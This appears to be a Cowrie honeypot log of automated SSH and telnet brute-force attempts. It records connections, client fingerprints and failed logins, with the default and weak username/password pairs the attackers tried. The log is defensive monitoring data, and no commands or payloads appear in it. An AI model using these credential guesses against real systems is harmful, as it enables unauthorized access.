{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45882,"dst_ip":"159.203.135.109","dst_port":22,"session":"40181d826b74","protocol":"ssh","message":"New connection: 103.75.199.4:45882 (159.203.135.109:22) [session: 40181d826b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.542906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.547479Z","src_ip":"103.75.199.4","session":"40181d826b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.646556Z","src_ip":"103.75.199.4","session":"40181d826b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a968026d5e4","protocol":"ssh","message":"New connection: 43.163.119.215:54156 (10.17.0.5:22) [session: 6a968026d5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.750757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.755743Z","src_ip":"43.163.119.215","session":"6a968026d5e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.934200Z","src_ip":"103.75.199.4","session":"40181d826b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:12.993603Z","src_ip":"43.163.119.215","session":"6a968026d5e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:13.712857Z","src_ip":"43.163.119.215","session":"6a968026d5e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:14.032292Z","src_ip":"103.75.199.4","session":"40181d826b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:14.953645Z","src_ip":"43.163.119.215","session":"6a968026d5e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":60960,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d400f9af6b3","protocol":"telnet","message":"New connection: 186.189.112.16:60960 (10.17.0.5:23) [session: 7d400f9af6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:15.818409Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15436,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5bfce4794bf","protocol":"telnet","message":"New connection: 186.189.112.16:15436 (10.17.0.5:23) [session: f5bfce4794bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:16.961966Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":51022,"dst_ip":"10.17.0.5","dst_port":22,"session":"df999d34be34","protocol":"ssh","message":"New connection: 94.154.34.232:51022 (10.17.0.5:22) [session: df999d34be34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.071330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.076276Z","src_ip":"94.154.34.232","session":"df999d34be34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6342,"dst_ip":"159.203.135.109","dst_port":22,"session":"98bfd8d5e7e8","protocol":"ssh","message":"New connection: 2.57.121.25:6342 (159.203.135.109:22) [session: 98bfd8d5e7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.120226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.124442Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.210227Z","src_ip":"94.154.34.232","session":"df999d34be34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.229813Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"flapper","message":"login attempt [user/flapper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.725499Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ht123456.","message":"login attempt [root/Ht123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:18.776389Z","src_ip":"94.154.34.232","session":"df999d34be34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15583,"dst_ip":"10.17.0.5","dst_port":23,"session":"51cc579d4bff","protocol":"telnet","message":"New connection: 186.189.112.16:15583 (10.17.0.5:23) [session: 51cc579d4bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:19.233131Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"fiona","message":"login attempt [user/fiona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:19.833254Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:19.910105Z","src_ip":"94.154.34.232","session":"df999d34be34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43490,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e7a477f33d","protocol":"ssh","message":"New connection: 43.163.119.215:43490 (10.17.0.5:22) [session: 10e7a477f33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.496280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.500798Z","src_ip":"43.163.119.215","session":"10e7a477f33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":33150,"dst_ip":"10.17.0.5","dst_port":22,"session":"3867baa6ad0e","protocol":"ssh","message":"New connection: 205.209.121.72:33150 (10.17.0.5:22) [session: 3867baa6ad0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.704078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.709638Z","src_ip":"205.209.121.72","session":"3867baa6ad0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.715432Z","src_ip":"205.209.121.72","session":"3867baa6ad0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"es123","message":"login attempt [root/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.768905Z","src_ip":"205.209.121.72","session":"3867baa6ad0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.777243Z","src_ip":"43.163.119.215","session":"10e7a477f33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"finnegan","message":"login attempt [user/finnegan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:20.945687Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":59158,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad8ca28575b3","protocol":"ssh","message":"New connection: 154.83.196.237:59158 (159.203.135.109:22) [session: ad8ca28575b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:21.508621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:21.512383Z","src_ip":"154.83.196.237","session":"ad8ca28575b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:21.531626Z","src_ip":"43.163.119.215","session":"10e7a477f33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:21.631504Z","src_ip":"154.83.196.237","session":"ad8ca28575b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:21.775657Z","src_ip":"205.209.121.72","session":"3867baa6ad0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"final","message":"login attempt [user/final] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:22.054030Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX@","message":"login attempt [root/1qaz2WSX@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:22.140110Z","src_ip":"154.83.196.237","session":"ad8ca28575b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:22.771401Z","src_ip":"43.163.119.215","session":"10e7a477f33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fifty","message":"login attempt [user/fifty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:23.162372Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:23.262119Z","src_ip":"154.83.196.237","session":"ad8ca28575b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:24.271019Z","src_ip":"2.57.121.25","session":"98bfd8d5e7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57726,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b0c04a8abbe","protocol":"ssh","message":"New connection: 43.163.119.215:57726 (10.17.0.5:22) [session: 1b0c04a8abbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:31.460825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:31.465404Z","src_ip":"43.163.119.215","session":"1b0c04a8abbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:31.711385Z","src_ip":"43.163.119.215","session":"1b0c04a8abbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:32.452046Z","src_ip":"43.163.119.215","session":"1b0c04a8abbe","protocol":"ssh"}
